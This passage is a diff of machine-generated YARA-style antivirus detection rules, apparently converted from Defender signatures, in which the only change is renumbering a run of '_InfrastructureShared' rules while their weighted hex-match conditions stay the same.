1)*16675+(#a_70_1 & 1)*25940+(#a_54_2 & 1)*27756+(#a_4e_4 & 1)*22309+(#a_74_5 & 1)*21087) >=6 } -rule _InfrastructureShared_18410{ +rule _InfrastructureShared_19586{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -223089,7 +237558,7 @@ rule _InfrastructureShared_18410{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*79+(#a_2d_3 & 1)*23085+(#a_09_4 & 1)*14637+(#a_6f_5 & 1)*26723) >=6 } -rule _InfrastructureShared_18411{ +rule _InfrastructureShared_19587{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 07 00 21 " @@ -223104,7 +237573,7 @@ rule _InfrastructureShared_18411{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*28530+(#a_53_2 & 1)*-32468+(#a_20_3 & 1)*17221+(#a_6c_4 & 1)*30303+(#a_43_6 & 1)*14337) >=6 } -rule _InfrastructureShared_18412{ +rule _InfrastructureShared_19588{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 09 00 21 " @@ -223120,7 +237589,7 @@ rule _InfrastructureShared_18412{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*25398+(#a_61_2 & 1)*28015+(#a_45_3 & 1)*17463+(#a_41_4 & 1)*17718+(#a_54_5 & 1)*28261+(#a_00_7 & 1)*47) >=6 } -rule _InfrastructureShared_18413{ +rule _InfrastructureShared_19589{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -223135,7 +237604,7 @@ rule _InfrastructureShared_18413{ ((#a_54_0 & 1)*18467+(#a_4d_1 & 1)*27503+(#a_00_2 & 1)*97+(#a_00_4 & 1)*97+(#a_00_5 & 1)*8+(#a_6f_6 & 1)*21562) >=7 } -rule _InfrastructureShared_18414{ +rule _InfrastructureShared_19590{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -223152,7 +237621,7 @@ rule _InfrastructureShared_18414{ ((#a_54_0 & 1)*18467+(#a_a9_1 & 1)*3095+(#a_2e_2 & 1)*5634+(#a_65_3 & 1)*29301+(#a_6c_4 & 1)*18223+(#a_73_5 & 1)*28257+(#a_81_6 & 1)*1+(#a_81_7 & 1)*1) >=8 } -rule _InfrastructureShared_18415{ +rule _InfrastructureShared_19591{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -223168,7 +237637,7 @@ rule _InfrastructureShared_18415{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*25705+(#a_64_2 & 1)*26972+(#a_6f_3 & 1)*11891+(#a_35_5 & 1)*1214+(#a_63_6 & 1)*0+(#a_33_7 & 1)*0) >=8 } -rule _InfrastructureShared_18416{ +rule _InfrastructureShared_19592{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -223184,7 +237653,7 @@ rule _InfrastructureShared_18416{ ((#a_4c_0 & 1)*21539+(#a_0c_1 & 1)*-29952+(#a_04_2 & 1)*-28651+(#a_74_3 & 1)*-1917+(#a_73_4 & 1)*29540+(#a_66_5 & 1)*26218+(#a_5c_7 & 1)*17153) >=8 } -rule _InfrastructureShared_18417{ +rule _InfrastructureShared_19593{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -223202,7 +237671,7 @@ rule _InfrastructureShared_18417{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*25447+(#a_67_2 & 1)*26471+(#a_61_3 & 1)*29251+(#a_6d_4 & 1)*29031+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1+(#a_81_7 & 1)*1+(#a_81_8 & 1)*1) >=9 } -rule _InfrastructureShared_18418{ +rule _InfrastructureShared_19594{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -223222,7 +237691,7 @@ rule _InfrastructureShared_18418{ ((#a_54_0 & 1)*18467+(#a_50_1 & 1)*29554+(#a_70_2 & 1)*29264+(#a_74_3 & 1)*25968+(#a_73_4 & 1)*21620+(#a_75_5 & 1)*29541+(#a_68_6 & 1)*25965+(#a_53_7 & 1)*8993+(#a_63_8 & 1)*13113+(#a_6d_9 & 1)*9217+(#a_00_10 & 1)*12589) >=11 } -rule _InfrastructureShared_18419{ +rule _InfrastructureShared_19595{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 0c 00 21 " @@ -223243,7 +237712,7 @@ rule _InfrastructureShared_18419{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*27506+(#a_24_2 & 1)*4864+(#a_6f_3 & 1)*29797+(#a_24_4 & 1)*4864+(#a_6f_5 & 1)*29797+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1+(#a_01_11 & 1)*1) >=18 } -rule _InfrastructureShared_18420{ +rule _InfrastructureShared_19596{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,15 00 15 00 0c 00 21 " @@ -223264,7 +237733,7 @@ rule _InfrastructureShared_18420{ ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*26740+(#a_30_2 & 1)*28520+(#a_6f_3 & 1)*29295+(#a_01_4 & 1)*29956+(#a_00_5 & 1)*1+(#a_00_6 & 1)*1+(#a_00_7 & 1)*1+(#a_00_8 & 1)*1+(#a_00_9 & 1)*1+(#a_00_10 & 1)*1+(#a_00_11 & 1)*1) >=21 } -rule _InfrastructureShared_18421{ +rule _InfrastructureShared_19597{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,17 00 17 00 0e 00 21 " @@ -223286,7 +237755,7 @@ rule _InfrastructureShared_18421{ ((#a_54_0 & 1)*18467+(#a_03_1 & 1)*-28558+(#a_04_2 & 1)*-28561+(#a_04_3 & 1)*-28561+(#a_00_4 & 1)*32+(#a_90_5 & 1)*5140+(#a_6d_6 & 1)*19712+(#a_61_7 & 1)*29249+(#a_00_9 & 1)*108+(#a_00_10 & 1)*116+(#a_00_11 & 1)*80+(#a_72_12 & 1)*14918+(#a_35_13 & 1)*11576) >=23 } -rule _InfrastructureShared_18422{ +rule _InfrastructureShared_19598{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,24 00 24 00 08 00 21 " @@ -223301,7 +237770,7 @@ rule _InfrastructureShared_18422{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*116+(#a_00_3 & 1)*102+(#a_00_4 & 1)*116+(#a_00_5 & 1)*105+(#a_6f_6 & 1)*24910) >=36 } -rule _InfrastructureShared_18423{ +rule _InfrastructureShared_19599{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,4a 00 4a 00 0f 00 21 " @@ -223320,7 +237789,7 @@ rule _InfrastructureShared_18423{ ((#a_46_0 & 1)*16675+(#a_62_1 & 1)*25957+(#a_00_4 & 1)*506+(#a_01_5 & 1)*25959+(#a_6e_6 & 1)*29505+(#a_00_7 & 1)*108+(#a_00_9 & 1)*97+(#a_00_11 & 1)*101+(#a_39_12 & 1)*12297+(#a_69_14 & 1)*28496) >=74 } -rule _InfrastructureShared_18424{ +rule _InfrastructureShared_19600{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -223331,7 +237800,7 @@ rule _InfrastructureShared_18424{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*32) >=1 } -rule _InfrastructureShared_18425{ +rule _InfrastructureShared_19601{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -223343,7 +237812,7 @@ rule _InfrastructureShared_18425{ ((#a_5f_0 & 1)*25635+(#a_49_1 & 1)*21836+(#a_01_3 & 1)*1) >=1 } -rule _InfrastructureShared_18426{ +rule _InfrastructureShared_19602{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 09 00 21 " @@ -223361,7 +237830,7 @@ rule _InfrastructureShared_18426{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*23373+(#a_76_2 & 1)*24401+(#a_2d_3 & 1)*30826+(#a_3b_4 & 1)*11560+(#a_74_5 & 1)*25178+(#a_90_6 & 1)*-14846+(#a_8b_7 & 1)*7056+(#a_06_8 & 1)*-28659) >=1 } -rule _InfrastructureShared_18427{ +rule _InfrastructureShared_19603{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -223372,7 +237841,7 @@ rule _InfrastructureShared_18427{ ((#a_46_0 & 1)*16675+(#a_04_1 & 1)*-28547) >=2 } -rule _InfrastructureShared_18428{ +rule _InfrastructureShared_19604{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -223384,7 +237853,7 @@ rule _InfrastructureShared_18428{ ((#a_46_0 & 1)*16675+(#a_cd_1 & 1)*4037+(#a_03_2 & 1)*1) >=2 } -rule _InfrastructureShared_18429{ +rule _InfrastructureShared_19605{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -223397,7 +237866,7 @@ rule _InfrastructureShared_18429{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*114+(#a_00_2 & 1)*67+(#a_00_3 & 1)*101) >=2 } -rule _InfrastructureShared_18430{ +rule _InfrastructureShared_19606{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -223409,7 +237878,7 @@ rule _InfrastructureShared_18430{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*54+(#a_00_3 & 1)*110) >=4 } -rule _InfrastructureShared_18431{ +rule _InfrastructureShared_19607{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -223421,7 +237890,7 @@ rule _InfrastructureShared_18431{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*7794+(#a_16_2 & 1)*5026) >=4 } -rule _InfrastructureShared_18432{ +rule _InfrastructureShared_19608{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 09 00 21 " @@ -223435,7 +237904,7 @@ rule _InfrastructureShared_18432{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*116+(#a_00_4 & 1)*75+(#a_00_6 & 1)*115+(#a_00_8 & 1)*82) >=6 } -rule _InfrastructureShared_18433{ +rule _InfrastructureShared_19609{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -223451,7 +237920,7 @@ rule _InfrastructureShared_18433{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1) >=7 } -rule _InfrastructureShared_18434{ +rule _InfrastructureShared_19610{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -223469,7 +237938,7 @@ rule _InfrastructureShared_18434{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*15872+(#a_65_2 & 1)*24933+(#a_36_3 & 1)*14134+(#a_6d_4 & 1)*26994+(#a_6c_5 & 1)*29801+(#a_65_6 & 1)*385+(#a_69_7 & 1)*29547+(#a_72_8 & 1)*22132) >=9 } -rule _InfrastructureShared_18435{ +rule _InfrastructureShared_19611{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -223487,7 +237956,7 @@ rule _InfrastructureShared_18435{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*28521+(#a_65_2 & 1)*26981+(#a_6b_3 & 1)*28206+(#a_64_4 & 1)*26967+(#a_41_5 & 1)*28271+(#a_67_6 & 1)*26987+(#a_55_8 & 1)*7168+(#a_56_9 & 1)*-11893) >=10 } -rule _InfrastructureShared_18436{ +rule _InfrastructureShared_19612{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -223500,7 +237969,7 @@ rule _InfrastructureShared_18436{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*28516+(#a_64_2 & 1)*18012+(#a_57_3 & 1)*17999) >=1 } -rule _InfrastructureShared_18437{ +rule _InfrastructureShared_19613{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 09 00 21 " @@ -223517,7 +237986,7 @@ rule _InfrastructureShared_18437{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*23098+(#a_8b_2 & 1)*29200+(#a_38_3 & 1)*-16881+(#a_01_4 & 1)*-19476+(#a_60_5 & 1)*-29850+(#a_3a_7 & 1)*19521+(#a_09_8 & 1)*6544) >=1 } -rule _InfrastructureShared_18438{ +rule _InfrastructureShared_19614{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 07 00 21 " @@ -223532,7 +238001,7 @@ rule _InfrastructureShared_18438{ ((#a_46_0 & 1)*16675+(#a_2d_1 & 1)*31277+(#a_6c_2 & 1)*25938+(#a_39_3 & 1)*12378+(#a_00_5 & 1)*32+(#a_6d_6 & 1)*29811) >=2 } -rule _InfrastructureShared_18439{ +rule _InfrastructureShared_19615{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 08 00 21 " @@ -223548,7 +238017,7 @@ rule _InfrastructureShared_18439{ ((#a_46_0 & 1)*16675+(#a_b7_1 & 1)*-6075+(#a_4d_2 & 1)*0+(#a_50_3 & 1)*18720+(#a_2e_4 & 1)*25454+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1) >=2 } -rule _InfrastructureShared_18440{ +rule _InfrastructureShared_19616{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 07 00 21 " @@ -223561,7 +238030,7 @@ rule _InfrastructureShared_18440{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*111+(#a_00_4 & 1)*100+(#a_00_6 & 1)*101) >=4 } -rule _InfrastructureShared_18441{ +rule _InfrastructureShared_19617{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 0d 00 21 " @@ -223583,7 +238052,7 @@ rule _InfrastructureShared_18441{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*31077+(#a_6c_2 & 1)*19201+(#a_75_3 & 1)*29555+(#a_6d_4 & 1)*20069+(#a_34_5 & 1)*11599+(#a_4f_6 & 1)*13869+(#a_4f_7 & 1)*13869+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_65_10 & 1)*0+(#a_00_11 & 1)*111+(#a_00_12 & 1)*73) >=4 } -rule _InfrastructureShared_18442{ +rule _InfrastructureShared_19618{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -223597,7 +238066,7 @@ rule _InfrastructureShared_18442{ ((#a_54_0 & 1)*18467+(#a_2d_1 & 1)*20303+(#a_2d_2 & 1)*17974+(#a_2d_3 & 1)*12339+(#a_2d_4 & 1)*20303) >=5 } -rule _InfrastructureShared_18443{ +rule _InfrastructureShared_19619{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 07 00 21 " @@ -223610,7 +238079,7 @@ rule _InfrastructureShared_18443{ ((#a_46_0 & 1)*16675+(#a_52_2 & 1)*16384+(#a_00_4 & 1)*99+(#a_00_6 & 1)*85) >=6 } -rule _InfrastructureShared_18444{ +rule _InfrastructureShared_19620{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 07 00 21 " @@ -223625,7 +238094,7 @@ rule _InfrastructureShared_18444{ ((#a_46_0 & 1)*16675+(#a_08_2 & 1)*-29952+(#a_b6_3 & 1)*2125+(#a_01_4 & 1)*6032+(#a_40_5 & 1)*8208+(#a_b1_6 & 1)*-28287) >=6 } -rule _InfrastructureShared_18445{ +rule _InfrastructureShared_19621{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -223640,7 +238109,7 @@ rule _InfrastructureShared_18445{ ((#a_54_0 & 1)*18467+(#a_24_1 & 1)*9472+(#a_66_2 & 1)*13668+(#a_00_3 & 1)*70+(#a_00_5 & 1)*114+(#a_65_6 & 1)*17153) >=7 } -rule _InfrastructureShared_18446{ +rule _InfrastructureShared_19622{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -223655,7 +238124,7 @@ rule _InfrastructureShared_18446{ ((#a_54_0 & 1)*18467+(#a_38_1 & 1)*25198+(#a_00_3 & 1)*50+(#a_00_4 & 1)*50+(#a_00_5 & 1)*116+(#a_6c_6 & 1)*-1) >=7 } -rule _InfrastructureShared_18447{ +rule _InfrastructureShared_19623{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -223669,7 +238138,7 @@ rule _InfrastructureShared_18447{ ((#a_46_0 & 1)*21283+(#a_74_1 & 1)*-14476+(#a_6f_2 & 1)*-1+(#a_74_4 & 1)*25669+(#a_46_5 & 1)*28271) >=8 } -rule _InfrastructureShared_18448{ +rule _InfrastructureShared_19624{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -223687,7 +238156,7 @@ rule _InfrastructureShared_18448{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*29813+(#a_61_2 & 1)*21349+(#a_2e_3 & 1)*28001+(#a_2e_4 & 1)*28521+(#a_65_5 & 1)*13357+(#a_6d_6 & 1)*9217+(#a_01_7 & 1)*11570+(#a_2f_8 & 1)*18771) >=9 } -rule _InfrastructureShared_18449{ +rule _InfrastructureShared_19625{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -223705,7 +238174,7 @@ rule _InfrastructureShared_18449{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*11879+(#a_6b_2 & 1)*24940+(#a_24_3 & 1)*-32493+(#a_6f_4 & 1)*29797+(#a_30_5 & 1)*14408+(#a_43_6 & 1)*18530+(#a_38_8 & 1)*26881+(#a_6f_9 & 1)*15361) >=10 } -rule _InfrastructureShared_18450{ +rule _InfrastructureShared_19626{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -223724,7 +238193,7 @@ rule _InfrastructureShared_18450{ ((#a_54_0 & 1)*18467+(#a_35_1 & 1)*-32488+(#a_6b_2 & 1)*24882+(#a_79_3 & 1)*28002+(#a_65_4 & 1)*385+(#a_79_5 & 1)*25445+(#a_00_6 & 1)*31084+(#a_68_7 & 1)*385+(#a_72_8 & 1)*27745+(#a_77_9 & 1)*26223) >=10 } -rule _InfrastructureShared_18451{ +rule _InfrastructureShared_19627{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -223743,7 +238212,7 @@ rule _InfrastructureShared_18451{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*31091+(#a_6d_2 & 1)*29287+(#a_5c_3 & 1)*27749+(#a_65_4 & 1)*29285+(#a_72_5 & 1)*26957+(#a_65_6 & 1)*26996+(#a_6f_7 & 1)*28281+(#a_01_8 & 1)*24934+(#a_76_9 & 1)*27501) >=10 } -rule _InfrastructureShared_18452{ +rule _InfrastructureShared_19628{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -223763,7 +238232,7 @@ rule _InfrastructureShared_18452{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*16896+(#a_72_2 & 1)*28787+(#a_01_3 & 1)*30055+(#a_79_4 & 1)*384+(#a_45_5 & 1)*23610+(#a_53_6 & 1)*25972+(#a_21_7 & 1)*12849+(#a_45_8 & 1)*25927+(#a_6f_9 & 1)*30789+(#a_38_10 & 1)*14182) >=11 } -rule _InfrastructureShared_18453{ +rule _InfrastructureShared_19629{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 10 00 21 " @@ -223787,7 +238256,7 @@ rule _InfrastructureShared_18453{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*26481+(#a_78_2 & 1)*29812+(#a_30_3 & 1)*12332+(#a_49_4 & 1)*19770+(#a_65_5 & 1)*29505+(#a_00_6 & 1)*29541+(#a_65_7 & 1)*385+(#a_25_8 & 1)*27685+(#a_39_9 & 1)*12353+(#a_7d_10 & 1)*12857+(#a_78_11 & 1)*11892+(#a_65_12 & 1)*26995+(#a_c6_14 & 1)*2816+(#a_db_15 & 1)*257) >=14 } -rule _InfrastructureShared_18454{ +rule _InfrastructureShared_19630{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 10 00 21 " @@ -223809,7 +238278,7 @@ rule _InfrastructureShared_18454{ ((#a_54_0 & 1)*18467+(#a_45_1 & 1)*25927+(#a_6f_2 & 1)*30789+(#a_38_3 & 1)*14182+(#a_04_4 & 1)*11876+(#a_30_5 & 1)*13364+(#a_35_6 & 1)*11569+(#a_00_7 & 1)*110+(#a_72_8 & 1)*25189+(#a_c6_10 & 1)*2816+(#a_db_11 & 1)*257+(#a_a0_13 & 1)*-6399+(#a_68_14 & 1)*8513) >=16 } -rule _InfrastructureShared_18455{ +rule _InfrastructureShared_19631{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,15 00 12 00 0b 00 21 " @@ -223827,7 +238296,7 @@ rule _InfrastructureShared_18455{ ((#a_77_0 & 1)*16675+(#a_43_1 & 1)*17787+(#a_2d_2 & 1)*13633+(#a_00_4 & 1)*114+(#a_00_5 & 1)*28776+(#a_69_6 & 1)*12033+(#a_90_7 & 1)*-18687+(#a_62_8 & 1)*28718+(#a_00_10 & 1)*121) >=18 } -rule _InfrastructureShared_18456{ +rule _InfrastructureShared_19632{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 17 00 21 " @@ -223857,7 +238326,7 @@ rule _InfrastructureShared_18456{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*-9289+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_66_10 & 1)*0+(#a_00_12 & 1)*65+(#a_00_13 & 1)*109+(#a_00_15 & 1)*111+(#a_c7_16 & 1)*400+(#a_12_17 & 1)*1025+(#a_69_18 & 1)*20581+(#a_70_19 & 1)*17455+(#a_00_20 & 1)*32+(#a_00_21 & 1)*115+(#a_00_22 & 1)*32) >=1 } -rule _InfrastructureShared_18457{ +rule _InfrastructureShared_19633{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -223868,7 +238337,7 @@ rule _InfrastructureShared_18457{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*101) >=2 } -rule _InfrastructureShared_18458{ +rule _InfrastructureShared_19634{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -223880,7 +238349,7 @@ rule _InfrastructureShared_18458{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*-10236+(#a_84_2 & 1)*513) >=3 } -rule _InfrastructureShared_18459{ +rule _InfrastructureShared_19635{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -223891,7 +238360,7 @@ rule _InfrastructureShared_18459{ ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*32) >=3 } -rule _InfrastructureShared_18460{ +rule _InfrastructureShared_19636{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 09 00 21 " @@ -223907,7 +238376,7 @@ rule _InfrastructureShared_18460{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*24937+(#a_72_2 & 1)*24933+(#a_00_3 & 1)*29816+(#a_6f_4 & 1)*385+(#a_41_6 & 1)*7680+(#a_00_8 & 1)*110) >=4 } -rule _InfrastructureShared_18461{ +rule _InfrastructureShared_19637{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 07 00 21 " @@ -223921,7 +238390,7 @@ rule _InfrastructureShared_18461{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*97+(#a_00_4 & 1)*69+(#a_00_5 & 1)*108+(#a_46_6 & 1)*21283) >=6 } -rule _InfrastructureShared_18462{ +rule _InfrastructureShared_19638{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 0b 00 21 " @@ -223938,7 +238407,7 @@ rule _InfrastructureShared_18462{ ((#a_46_0 & 1)*21283+(#a_65_1 & 1)*285+(#a_65_2 & 1)*28233+(#a_00_4 & 1)*114+(#a_6e_5 & 1)*27695+(#a_79_6 & 1)*25454+(#a_75_7 & 1)*25971+(#a_42_8 & 1)*19745) >=7 } -rule _InfrastructureShared_18463{ +rule _InfrastructureShared_19639{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 0a 00 21 " @@ -223955,7 +238424,7 @@ rule _InfrastructureShared_18463{ ((#a_46_0 & 1)*16675+(#a_70_1 & 1)*25456+(#a_75_2 & 1)*30583+(#a_70_3 & 1)*26415+(#a_52_6 & 1)*21320+(#a_00_7 & 1)*111+(#a_00_8 & 1)*120+(#a_00_9 & 1)*121) >=8 } -rule _InfrastructureShared_18464{ +rule _InfrastructureShared_19640{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 05 00 21 " @@ -223969,7 +238438,7 @@ rule _InfrastructureShared_18464{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*99+(#a_00_2 & 1)*120+(#a_00_3 & 1)*121+(#a_00_4 & 1)*114) >=12 } -rule _InfrastructureShared_18465{ +rule _InfrastructureShared_19641{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 06 00 21 " @@ -223983,7 +238452,7 @@ rule _InfrastructureShared_18465{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*99+(#a_00_2 & 1)*98+(#a_00_4 & 1)*115+(#a_32_5 & 1)*13669) >=12 } -rule _InfrastructureShared_18466{ +rule _InfrastructureShared_19642{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 09 00 21 " @@ -224001,7 +238470,7 @@ rule _InfrastructureShared_18466{ ((#a_54_0 & 1)*18467+(#a_4f_1 & 1)*1280+(#a_00_2 & 1)*20272+(#a_63_3 & 1)*20481+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_66_7 & 1)*0+(#a_00_8 & 1)*99) >=13 } -rule _InfrastructureShared_18467{ +rule _InfrastructureShared_19643{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 0d 00 21 " @@ -224023,7 +238492,7 @@ rule _InfrastructureShared_18467{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*106+(#a_00_2 & 1)*114+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_81_6 & 1)*1+(#a_81_7 & 1)*1+(#a_81_8 & 1)*1+(#a_81_9 & 1)*1+(#a_66_10 & 1)*0+(#a_64_11 & 1)*24947+(#a_02_12 & 1)*30821) >=13 } -rule _InfrastructureShared_18468{ +rule _InfrastructureShared_19644{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 0c 00 21 " @@ -224043,7 +238512,7 @@ rule _InfrastructureShared_18468{ ((#a_54_0 & 1)*18467+(#a_62_1 & 1)*27187+(#a_73_2 & 1)*29697+(#a_65_3 & 1)*30326+(#a_00_5 & 1)*22+(#a_3a_6 & 1)*24938+(#a_01_7 & 1)*-15997+(#a_04_8 & 1)*-28533+(#a_01_9 & 1)*6032+(#a_ff_10 & 1)*-9262+(#a_00_11 & 1)*101) >=15 } -rule _InfrastructureShared_18469{ +rule _InfrastructureShared_19645{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,16 00 16 00 0a 00 21 " @@ -224062,7 +238531,7 @@ rule _InfrastructureShared_18469{ ((#a_54_0 & 1)*18467+(#a_02_1 & 1)*-28671+(#a_01_2 & 1)*257+(#a_f6_3 & 1)*-11575+(#a_00_4 & 1)*108+(#a_6c_5 & 1)*25646+(#a_32_6 & 1)*13616+(#a_69_7 & 1)*29555+(#a_53_8 & 1)*13877+(#a_73_9 & 1)*28530) >=22 } -rule _InfrastructureShared_18470{ +rule 